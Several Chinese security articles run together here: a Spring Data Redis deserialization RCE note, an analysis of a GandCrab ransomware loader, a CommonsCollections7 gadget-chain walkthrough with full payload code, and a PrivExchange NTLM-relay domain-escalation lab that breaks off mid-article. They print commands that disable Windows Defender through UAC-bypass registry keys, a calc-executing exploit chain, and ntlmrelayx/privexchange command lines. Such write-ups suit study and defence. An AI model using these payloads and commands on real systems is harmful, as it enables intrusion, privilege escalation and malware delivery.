Redis从Redis里取数据的时候，会取出字节码进行反序列化操作，在反序列化的过程中没有对目标类进行校验和过滤，可导致远程任意代码执行。
## 攻击路径
1.首先准备反序列化payload，参考ysoserial系列。
2.把生成的payload写入Redis中：
redis.set("\xac\xed\x00\x05t\x00\brebeyond",Payload)
这样，名为rebeyond的key中就有了我们构造的payload。
最好选择Redis中已经存在的key，这样等Spring取数据的时候就可以触发代码执行。
3.等待Spring读取我们已经覆盖的key，示例如下：
4.Spring侧的机器成功弹出计算器：
调用栈如下：
## 其他
This vulnerability is tested on jdk1.8.0_144+spring 5.0.3+spring data redis
2.0.3+ commons-collections4:4.0
Common-collections4 is not necessary.Some modifications to payload can be
applied to <=jdk8u20 without Common-collections4.
尝试把这个问题提给Spring，不过Spring认为Redis在内网，开发人员有必要保证Redis的安全，所以没有认可该问题，只是更新了他们的产品guidelines
，让用户确保自己的Redis用在安全网络中。下图是pivotal的答复。认为Redis在内网就是安全的有点太乐观，我觉得对于spring来讲更好的解决方案是把默认的序列化引擎由DefaultDeserializer改为JsonDeserializer：）
[0] <https://jira.spring.io/browse/DATAREDIS-780>
[1] <https://github.com/spring-projects/spring-data-redis/commit/1f6790b10099f26c23c46ae5a099ba1023f055b1> | 社区文章 |
# GandCrab_v5.0.3勒索病毒—JS代码分析与Loader分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
Gandcrab家族算是勒索病毒中最“出名”的了，它仅仅在半年的时间了就发布了从v1.0到v5.0.3，截止到我分析前，已经出现了v5.0.5版本了，我这个分析的是v5.0.3的JS脚本产生的勒索病毒。勒索病毒的最终执行的Payload部分我就不分析了，因为和之前的版本上没有太大的改变，但是这个Loader很有意思，用到了在2017年BlackHat大会上提到的ProcessDopplegänging技术，有兴趣的可以看看。
该JS脚本的功能：
(1)对抗Avast杀软
(2)对抗Windows Defender
(3)对抗MSC微软安全客户端
(4)对抗Ahnlab安博士杀软
(5)生成GandCrabV5.0.3勒索病毒变种样本并执行
## 详细分析
下图是经JS格式转换后的混淆脚本，需要通过Chrome浏览器动态调试得到源码，在hrodjgengsl函数处下断，查看参数信息即是解混淆后的JS源码了
经JS格式化后的JS源码部分（两张图）
### 1、检查avast杀毒服务是否运行，如处于运行状态，生成kyoxks.js脚本并运行，脚本内容如下：
脚本功能：
1、首先在注册表HKEY_CURRENT_USERSOFTWAREycsdrrpvrylqzhlnv下写一段base64加密的powershell脚本
2、通过创建计划任务以固定间隔时间调PowerShell运行它。
解密之后的powershell代码如下，这其中有一段C#代码：
C#代码—————————————————————————————————————————————————————————————————————————————————————
————————————————————————————————————————————————————————————————————————————————————–
第一段Powershell脚本主要功能：
1、首先拷贝对应的文件到临时目录
2、找到对应路径下Avast更新程序并且动
3、清除对应路径下缓存数据
第二段C#代码主要功能：
C#代码中定义了类：a12，其中在a12这个类中定义了a10、a11、a13、a14四个方法
第三段Powershell脚本主要功能：
执行调用C#代码中方法
a10方法主要是找到Avast进程得到有效句柄后从死循环中break退出。
a11和a13方法主要是向Avast程序发送消息，按下Tab键、空格键，释放Tab键、空格键。
a14方法主要是将Avast窗口程序隐藏
### 2、检查WdNisSvc、WinDefend服务是否运行，如处于运行状态，生成nykvwcajm.js脚本并运行，脚本内容如下：
主要功能：
1、利用打开fodhelper.exe进程使cmd.exe Bypass UAC的目的，进而关闭Windows
Defender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。
判断是否是Win 10系统，如是通过将cmd.exe /C “powershell Set-MpPreference
-DisableRealtimeMonitoring $true && taskkill /im MSASCui* /f
/t命令写入到HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\注册表中，并以隐藏窗口的形式打开fodhelper.exe，这时就会执行上述注册表中写入的命令。同时最小化桌面上的所有窗口。再删除相应的注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。
2、利用打开eventvwr.exe进程使cmd.exe Bypass UAC的目的，进而关闭Windows
Defender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。
判断是否是Win 7系统，如是通过将cmd.exe /C “sc stop WinDefend && taskkill /im MSASCui* /f
/t命令写入到HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\注册表中，并以隐藏窗口的形式打开eventvwr.exe。这时就会执行上述注册表中写入的命令。执行完后再删除注册表HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。
3、如果WdNisSvc或WinDefend服务存在，则持续检测20s。
## 3、检查NisSrv服务是否运行，如处于运行状态，生成bervcptyvulur.js脚本并运行，脚本内容如下：
NIsSrv指的是微软网络实时检测服务，是微软在系统开机时启动的一个用来检测网络的反病毒服务。卸载Microsoft Security
Client程序命令：MsiExec.exe /X{2AA3C13E-0531-41B8-AE48-AE28C940A809}
1、利用打开fodhelper.exe进程使MsiExec.exe Bypass UAC的目的，进而以最小化的方式静默卸载Microsoft
Security Client程序。
判断是否是Win 10系统，如是通过将MsiExec.exe /X {2AA3C13E-0531-41B8-AE48-AE28C940A809}
ACCEPT=YES /qr+ /quiet命令写入到HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\注册表中。并以隐藏窗口的形式传入C:Windowsfodhelper.exe参数打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除注册表项HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。
2、利用打开eventvwr.exe进程使MsiExec.exe Bypass UAC的目的，进而以最小化的方式静默卸载Microsoft Security
Client程序。
判断是否是Win 7系统，如是通过将MsiExec.exe /X {2AA3C13E-0531-41B8-AE48-AE28C940A809}
ACCEPT=YES /qr+
/quiet命令写入到HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\注册表中，并以隐藏窗口的形式传入C:Windowseventvwr.exe打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除相应的注册表项HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。
3、如果NisSrv服务存在，则持续检测90s。
### 4、检查V3
Service服务是否运行，如处于运行状态，再检查tgydmilslvp.txt文件是否存在%USERPROFILE%目录下，如存在就生成recjyzcz.js脚本并运行，不存在该txt文件就生成内容是777的tgydmilslvp.txt，脚本内容如下：
主要功能：
1、利用打开fodhelper.exe进程使Powershell.exe Bypass UAC的目的，进而执行写在注册表中的Powershell脚本。
判断是否是Win
10系统，如是通过将djziapwzi变量所赋的值（Powershell脚本）写入到HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\注册表中，并以隐藏窗口的形式传入C:Windowsfodhelper.exe参数打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除相应的注册表项HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\。
2、利用打开eventvwr.exe进程使Powershell.exe Bypass UAC的目的，进而关闭Windows
Defender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。
判断是否是Win
7系统，如是通过将djziapwzi变量所赋的值（Powershell脚本）写入到HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\注册表中，并以隐藏窗口的形式传入C:Windowseventvwr.exe打开explorer.exe。这时就会执行上述注册表中写入的命令。再删除相应的注册表项HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\。
3、如果WdNisSvc或WinDefend服务存在，则持续检测60s。
解密后Powershell脚本：
主要功能：
查找Ahnlab安博士杀软的卸载程序，拷贝到指定位置后并执行。
### 5、解密Payload并写入到dsoyaltj.exe文件中后执行。
以上是比较详细的脚本分析内容。
### 6、ProcessDoppelgänging技术与Process Hollowing技术交叉使用的恶意Loader
Loader流程图如下：
首先简单说一下ProcessDoppelgänging攻击技术，这个技术是2017年欧洲BlackHat大会上由网络安全公司enSilo两名研究人员提出的新型在野攻击，其中还用到了NTFS文件系统事务回滚机制，相关的BlackHatPDF文档在最后会添加到附件。
ProcessDoppelgänging攻击技术：
1、创建一个新事务并这个事务中直接创建一个新文件
2、将新创建的文件映射到进程新创建的section中
3、利用NTFS文件系统事务回滚机制，回滚到之前的无创建文件状态
4、再跳转执行内存中的section部分的payload
上述介绍的是常规ProcessDoppelgänging攻击技术，本Loader结合使用了Process
Hollowing技术，配合使用后较为复杂。以下是详细分析：
以上程序经动态调试之后首先发现该程序通过申请空间并解密出PE文件，然后随机创建挂起原始文件状态的合法进程（本文是wermgr.exe，还有可能是svchost.exe），这种操作让我们想起了Process
Hollowing技术常用的创建傀儡进程的手法。我们了解下两种技术不同点，就能知道该样本作者如何将两种技术交叉使用的。
与Process Hollowing技术不同点：
1、在ProcessDopplegänging技术中，创建进程的操作需要很长时间，并使用官方未公开的API：NtCreateProcessEx。
2、在ProcessDoppelgänging技术中，新进程不是从原始文件创建的，而是从特殊缓冲区（section）创建的。
如下图所示：
因为NTDLL是一个特殊的低级DLL。基本上，它只是系统调用的一个包装器。它与系统中的其他DLL没有任何依赖关系。由于这个原因，它可以方便地加载，而无需填充其导入表。其他系统DLL（如Kernel32）在很大程度上依赖于从NTDLL导出的函数。所以许多用户层监视工具Hook并拦截NTDLL导出的函数。恶意程序作者知道这一点，所以有时为了躲过这种机制，他们会选择加载一个新的NTDLL副本。查看内存映射表，我们看到附加的ntdll_1作为映像加载，和其他DLL一样，这种类型的映射是使用NTDLL的。但是NTDLL默认加载到每个可执行文件中，并且官方的API无法加载相同的DLL两次。在这里它们使用一种比较好的解决方式：调用以下函数将文件以一个section的方式加载
1、ntdll.NtCreateFile – 打开ntdll.dll文件
2、ntdll.NtCreateSection – 在ntdll文件中创建一个section
3、ntdll.ZwMapViewOfSection – 将section映射到进程地址空间，ntdll模块文件就能映射进内存了。
这种方式非常聪明，因为DLL映射类型为Image，所以它看起来像是以普通的方式加载，这样的操作可以绕过各种安全产品的检测与拦截。又以同样的方式映射了wermgr.exe文件。
### 7、使用NTFS事务创建新文件
简要介绍一下NTFS事务是什么，这种机制通常在数据库上运行时使用，它们存在于NTFS文件系统中。NTFS事务将一系列操作封装到一个单元中。在事务内部创建文件时，在提交事务之前，外部任何人都无法访问它。ProcessDoppelgänging使用它们来创建不可见的Payload文件，加载程序创建一个新事务，在该事务中创建一个新文件。首先，调用NTDLL中的函数ZwCreateTransaction。再调用RtlSetCurrentTransaction和ZwCreateFile（所创建的文件是％TEMP％\
Liebert.bmp）。然后调用ZwWriteFile将缓冲区内容写入文件。我们可以看到正在写入的缓冲区中包含新的PE文件：第二阶段Payload。通常，对于此技术，文件仅在事务中可见，并且不能由其他进程（如AV扫描程序）打开。
然后使用此事务处理文件创建一个section。只能通过调用API：ZwCreateSection /
NtCreateSection来实现此操作的功能。创建该部分后，不再需要该文件。事务将调用ZwRollbackTransaction回滚到之前的状态，并且对文件的更改永远不会保存在磁盘上。通过使用NTDLL副本调用的低级别函数，使这些操作更加隐蔽，不易被杀软发现。
### 8、从section到Process
如果这是典型的ProcessDoppelgänging技术，那么将带有映射Payload的section直接创建进程的这种情况永远不会发生。继续单步执行后可以看到在回滚事务之后调用以下函数：
ntdll_1.ZwQuerySection
ntdll.NtClose
ntdll.NtClose
ntdll_1.ZwMapViewOfSection
ntdll_1.ZwProtectVirtualMemory
ntdll_1.ZwWriteVirtualMemory
ntdll_1.ZwProtectVirtualMemory
ntdll_1.ZwWriteVirtualMemory
ntdll_1.ZwResumeThread
1、将新创建的section（PE文件）作为附加模块映射到新进程中。
2、修改内存属性后调用ZwWriteVirtualMemory 重定向远程进程OEP处代码，跳转重定向到注入模块的入口点。
修改前：
修改后：
3、再修改内存属性，调用ZwWriteVirtualMemory
重定向远程进程的PEB+8处代码（ImageBaseAddress），改为之前映射的section位置处：400000（PE文件）。
4、调用ResumeThread恢复远程进程，执行后运行的就是400000地址处PE文件OEP的代码：
如果使用以上方法修补入口点失败，则用第二个方法，在线程上下文中设置新地址（ZwGetThreadContext – >
ZwSetThreadContext），这是Process Hollowing中使用的经典技术。
至此Loader部分就分析完成了。
## 总结
因为使用ProcessDoppelgänging技术的样本还是很少见的，而且这次GandCrab样本使用到了这项技术，自己之前也没研究过ProcessDoppelgänging技术，为了弄得更明白一些就多花了些时间，所以我就写的稍微详细一些，图文并茂，希望各位大佬勿喷。
### 参考文章链接
<https://xz.aliyun.com/t/2885>（JS样本源）
<https://blog.malwarebytes.com/threat-analysis/2018/08/process-doppelganging-meets-process-hollowing_osiris/>（ProcessDoppelgänging技术相关）
<https://yunpan.360.cn/surl_ymnNmItfhUZ> BH PPT链接 | 社区文章 |
# CC第7链HashTable触发点深入分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 起因
CC（CommonsCollections）链系列是Java安全必经之路，复习到CC7的`lazyMap2.remove("yy");`代码，网上文章解释的不是很清楚，不明白为什么要这样做，于是打算深入做一个分析
## 回顾
贴出网上广泛流传的CC第7链，笔者将带大家做个简单的回顾
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
lazyMap2.remove("yy");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
`ChainedTransformer`触发点`transform`
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
链式调用中使用到`InvokerTransformer`的`transform`方法，反射调用
public Object transform(Object input) {
......
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
......
`LazyMap`中的触发点，如果当前`LazyMap`中不包含传入的`key`才会顺利调用`transform`触发漏洞
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
`HashTable`被反序列化后的触发过程如下，遍历`HashTable`已有元素调用`reconstitutionPut`方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
......
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
......
}
`reconstitutionPut`方法如下，触发点是`e.key.equals(key))`
（注意这里有细节，将在后文中重点关注）
......
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
......
跟入`equals`到达`AbstractMap.equals`，看到`m.get(key)`方法，其实是上文中的`LazyMap.get`，调用了`transform`方法，最终构造出整条链，这也是网上大部分文章所写的过程
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
......
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
......
## 深入分析
从Payload入手分析，将空的`chainedTransformer`传入`LazyMap`中，并设置key为`yy`和`zZ`的元素
分析`LazyMap`源码可以看出并没有重写`put`，所以这里只是简单的普遍的`map.put`操作
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);
继续分析，往新建的`HashTable`中放入上文两个`LazyMap`
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
### 问题一
**为什么要放入两个LazyMap**
首先来看`HashTable.put`，这里和`reconstitutionPut`处的代码类似，都包含了`entry.key.equals(key))`代码。其中`key`是传入的`LazyMap`，`tab`是全局的一个`Entry`，根据`hashcode`算出一个`index`，只有`entry`中有元素才会进入`for`循环，从而进一步触发
private transient Entry<?,?>[] table;
......
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
......
}
}
......
所以可以看出，必须要两个或以上元素才能进入`entry.key.equals(key))`方法。类似地，反序列化的触发点`reconstitutionPut`处也是这样的逻辑，需要保证必须有两个或以上元素
进而可以得出的结论，能走到`LazyMap.get`方法的只有`lazyMap2`这一个对象
开头部分代码调试后，可以发现会执行两次`LazyMap.get`方法。第一次是制造反序列化对象的过程，也就是`hashtable.put(lazyMap2,
"test");`会调用；第二次是模拟被反序列化后`reconstitutionPut`的调用。接下来我们针对这两次调用做深入分析
第一次调用：
注意到第一次传入的是空的一个`Transformer`数组
因此在`transform`的时候会原样返回，如果传入`yy`就会返回`yy`
Transformer[] fakeTransformer = new Transformer[]{};
结合代码分析，当`lazyMap2`被`put`后，`entry.key.equals(key))`中`entry.key`正是`lazyMap1`。`AbstractMap.equals`方法中有部分被忽视的代码。其中`i`是全局变量，根据继承关系，其中正是`lazyMap1`保存的`yy:1`，所以取到的`key`是`yy`，最终在`lazyMap2.get`传入的是`yy`
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
......
进入`lazyMap2`，本身只有`zZ:1`这一个元素，不包含`yy`，所以成功执行`transform`。而上文分析传入的参数是`yy`所以经过`transform`一些系列的链式调用后返回的还是`yy`，将`yy:yy`设置到`lazyMap2`中，所以`lazyMap2`包含了：`zZ:1`和`yy:yy`（链式调用原样返回是因为传入一个空的一个`Transformer`数组）
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
后文反射设置`chainedTransformer`为Payload
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
然后将`lazyMap2`的`yy:yy`移除
lazyMap2.remove("yy");
第二次调用：
这时候`HashTable`被反序列化，调用`readObject`方法，进入`reconstitutionPut`，重新看之前的代码。其中`table`参数是`HashTable`所包含的元素，由于刚被反序列化，所以不存在元素
进入`reconstitutionPut`的调用点，遍历获取的第一个`key`应该是`lazyMap1->yy:1`。由于`tab`是空，导致`get`操作的循环无法进入，跳到后续代码中，把`lazyMap1->yy:1`加入到了全局变量`table`
第二次循环进入`reconstitutionPut`，由于全局变量中已有值，所以可以调用到`e.key.equals(key)`方法
// HashTable.readObject
for (; elements > 0; elements--) {
// 遍历第一次的key是lazyMap1->yy:1
// 遍历第二次的key是lazyMap2->zZ:1（已删除yy:yy）
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// 第一次传入的参数是：table[]-lazyMap1->yy:1-test
// 第二次传入的参数是：table["lazyMap1->yy:1"]-lazyMap2->zZ:1-test
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
// HashTable.reconstitutionPut
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
// 第二次才会成功进入for循环
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
// e.key: lazyMap1->yy:1
// key: lazyMap2->zZ:1
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
// 第一次会把lazyMap1->yy:1加入到全局变量table中
tab[index] = new Entry<>(hash, key, value, e);
count++;
// AbstractMap.equals
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
// m: lazyMap1->yy:1
// key: lazyMap2->zZ:1
if (!value.equals(m.get(key)))
return false;
}
### 问题二
**删除LazyMap2中key为yy的元素的根本原因是什么**
观察到`reconstitutionPut`的代码，想要顺利执行，需要确保两个`lazyMap`的`hashcode`一致，进而`index`计算结果一致才可以。Java中hashcode的计算方式比较复杂，这里简单理解为：如果`lazymap1`和`lazymap1`包含相同数量的元素，并且每个元素的key和value都完全一致，那么计算得出的hashcode就相等
然而`lazyMap1->yy:1`和`lazyMap2->zZ:1`的hashcode为什么会相等呢？因为这是一处哈希碰撞，恰好而已。假设改成`lazyMap2->zZ:2`或`lazyMap2->zZZZZ:1`都会导致无法运行
// 根据lazyMap算出的hascode
int hash = key.hashCode();
// 根据hashcode算出index
int index = (hash & 0x7FFFFFFF) % tab.length;
// 如果index不合法，将不会触发后续的链
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
### 问题三
**Payload中的yy和zZ能否改成其他字符串**
参考问题二，要保证hashcode一致，理论上会有很多选择，实际上很难找出合适的
笔者给出一个可用的Payload，字符串AaAaAa和BBAaBB的hashcode相同，测试通过
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("AaAaAa",1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("BBAaBB",1);
......
lazyMap2.remove("AaAaAa");
成功触发
## 参考链接
<https://xz.aliyun.com/t/9409#toc-7>
<https://cloud.tencent.com/developer/article/1809858> | 社区文章 |
**作者：xax007@知道创宇404 ScanV安全服务团队
作者博客：<https://xax007.github.io/>**
## 漏洞简述
在群里看到一篇分享的利用 [Exchange SSRF 漏洞获取域控](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/?from=timeline&isappinstalled=0)
的文章（[中文翻译](https://www.anquanke.com/post/id/170199)），让我眼前一亮，后来又在微博看到有大佬复现了这个漏洞，于是我也决定试试。
上文中的漏洞利用思路按照我的理解可以汇总成一句话就是：
**在Exchange 在域内具有高权限的前提下条件下，利用 Exchange 的跨站请求伪造漏洞进行 NTLM 中继攻击，修改域 ACL
使普通用户具有域管理员同等级别的权限**
这篇文章的利用手法和其他网上很多方法不同的点在于，对 SSRF 漏洞进一步利用达到了拿到域控的目的，其他文章里都仅仅是利用SSRF
漏洞查看管理的邮件或者修改管理员邮箱规则，如邮件自动转发等。
不想拿到域控的黑阔不是一个好黑阔，利用多个普通漏洞，最大化利用漏洞拿到域控的骚姿势肯定要学一下的，于是有了这篇文章。
此文记录了我对这个漏洞进行的所有工作和遇到的坑。
## 漏洞环境搭建
复现这个漏洞最费时间又麻烦的就是搭建环境，我在 `MacOS上` 使用 `Vmware Fusion` 搭建了此漏洞需要的域环境
VMware Fusion 会在系统安装两个虚拟网卡，分别为 `vmnet1` 和 `vmnet8`
`vmnet8` 为 NAT网卡，可以让虚拟机上网 `vmnet1` 为 HostOnly 仅主机网卡，用来搭建私有网络，我们需要对此网卡作出修改
如果在Windows系统搭建环境时，也应该设置所有虚拟主机为 HostOnly 模式，方法大同小异
### 配置 Vmware Fusion
修改 `/Library/Preferences/VMware\ Fusion/networking` 文件
关闭 `vmnet1`的 dhcp，否则虚拟主机之间无法通信
VERSION=1,0
answer VNET_1_DHCP no #关闭dhcp
answer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193B
answer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 网络子网掩码
answer VNET_1_HOSTONLY_SUBNET 10.10.10.0 # HostOnly网络地址
answer VNET_1_VIRTUAL_ADAPTER yes
可参考：[MAC下VMware
Fusion虚拟机配置网卡](https://blog.csdn.net/yangli91628/article/details/70317597)
### 搭建域环境
从[这里](https://www.microsoft.com/en-in/evalcenter/evaluate-windows-server-2012-r2)可以下载到能免费试用180天的正版 `Windows Server 2012` 系统
我安装了一台 Windows Server 2012，装好以后克隆了一台，给虚拟分配多少硬件资源取决于自身电脑配置，这里我电脑的配置
**因为是克隆的系统，两台的SID是一样的，会加入不了域, 所以克隆的这台要修改 SID**
修改 SID 的方法是，在克隆的那个系统里进入 `c:\windows\system32\sysprep\` 执行
sysprep /generalize
按照提示操作，重启就修改好了。
最终各种查资料、看不懂、迷惘、折腾后搭好了可用的域环境。
域环境的搭建主要参考了几位大佬的以下几篇文章
* [搭建渗透测试活动目录教程1](https://scriptdotsh.com/index.php/2018/06/09/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-1/)
* [搭建渗透测试活动目录教程2](https://scriptdotsh.com/index.php/2018/06/09/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-2/)
* [搭建小型域环境](https://hunter2.gitbook.io/darthsidious/building-a-lab/building-a-small-lab)
当然还有 l3mOn 大佬的：
[Microsoft Exchange漏洞记录(撸向域控) -CVE-2018-8581](https://www.cnblogs.com/iamstudy/articles/Microsoft_Exchange_CVE-2018-8581.html)
### 同步域内系统时间
搭建小型域环境里大佬说同步时间很重要，我发现我两个系统的时间都不一样，所以在域控所在的服务器配置系统时间：
打开 `powershell` 并执行
w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update
其中
`/manualpeerlist` 表示外部时间源服务器列表，多个服务器之间可用空格分隔，`cn.pool.ntp.org` 和
`tw.pool.ntp.org`是 `NTP` 时间服务器
`/syncfromflags:manual` 表示与指定的外部时间源服务器列表中的服务器进行同步
`/reliable:yes` 表示设置此计算机是一个可靠的时间源
`/update` 表示向时间服务发出配置已更改的通知，使更改生效
net stop w32time 关闭w32time服务
net start w32time 启动w32time服务
w32tm /resync 手动与外部时间源服务器进行同步
w32tm /query /status 同步时间服务器状态
w32tm /query /source 查询时间同步源
w32tm /query /peers 查询时间同步服务器及相关信息
以上步骤参考了以下的文章
[Windows server 2012
部署NTP，实现成员服务器及客户端时间与域控制器时间同步](http://blog.51cto.com/itwish/2064570)
我按照教程在域控所在的服务器执行到第三步，另一台服务器的时间自己就同步了
最终搭好了可用的域环境：
域名称：evilcorp.local
域控：
操作系统：Windows Server 2012 R2
IP: 10.10.10.2
子网掩码: 255.255.255.0
网关: 10.10.10.1
DNS: 10.10.10.2
Exchange 服务器：
操作系统: Windows Server 2012 R2
IP: 10.10.10.3
子网掩码: 255.255.255.0
网关: 10.10.10.1
DNS: 10.10.10.2
攻击主机：
操作系统: Kali
IP: 10.10.10.5
按照以上三个教程的步骤走，看不明白继续搜教程就可以搭好域环境
攻击主机 `Kali Linux` 为了能访问域网络需要添加一个 `HostOnly` 网卡，我添加后的网卡名为 `eth1`
然后进行以下配置
╭─root@kali ~
╰─? ifconfig eth1 up
╭─root@kali ~
╰─? ifconfig eth1 10.10.10.5 netmask 255.255.255.0
╭─root@kali ~
╰─? route add default gw 10.10.10.1 eth1
╭─root@kali ~
╰─?
### 安装 Exchange Server 2013
**首先需要在 Exchange 所在的服务器上使用域控 Administrator 账号登录，不然安装检查是会出现一大堆错误**
安装 Exchange 前要装依赖组件，可以参考上面 l3m0n 大佬的文章和 [Windows Server 2012 安装 Exchange
2013](https://www.mustbegeek.com/install-exchange-server-2013-in-windows-server-2012/) 这两篇文章
安装好 Exchange 以后访问 Exchange 页面，在我的环境里的地址是 `https://10.10.10.3`
，需要添加一个普通域用户，然后用域控管理员账号登录 Exchange 为此用户分配 Exchange 账号，这一步网上有很多教程
后续要用此普通用户来提权
所有的环境搭建好以后要进入激动人心的漏洞利用环节了!!!
## 漏洞利用
### 准备工具
漏洞利用需要下载两个工具:
* [PrivExchange](https://xax007.github.io/2019-01-26-pwn-domain-admin-via-exchange-ssrf/-%20https://github.com/dirkjanm/PrivExchange)
* [Impacket](https://github.com/SecureAuthCorp/impacket/)
第二个 `Impacket` 是一个功能很强大的 Windows 网络(SMB, MSRPC)工具包
**Kali 自带 Impacket，是版本过时了，需要安装最新的**
`git clone` 下载下来后，进入到 `Impacket` 目录使用 `pip` 安装
pip install .
**注意这个工具是 python2 写的，使用 python3会出错**
### 发起攻击
首先在本机启动 NTLM 中继,进入到 `Impacker` 的 `examples` 目录执行
python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot
其中
`evilcorp.local` 是域的名称
`--escalate-user` 的参数是 Exchange 的普通权限用户名，也就是之前添加的普通用户用户名
然后执行提权脚本
python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet\!" -d evilcorp.local
其中
`-ah` 参数指定域控地址可以是域的名称或 IP 地址，在这里为 `10.10.10.1` `10.10.10.3` 为 Exchange
服务器在域的名称或者IP地址 `-u` 指定需要提权的 Exchange 的普通权限用户名 `-p`指定 Exchange 的普通权限用户的密码 `-d`
指定域的名称
如果攻击成功你会看到 `privexchange.py` 脚本的输出
至此在 `evicorp.local` 域内， `Mr.robot` 用户具有了高权限，下一步我们导出域内所有用户的哈希
### 导出域内用户哈希
进入 `Impacket\examples` 目录执行
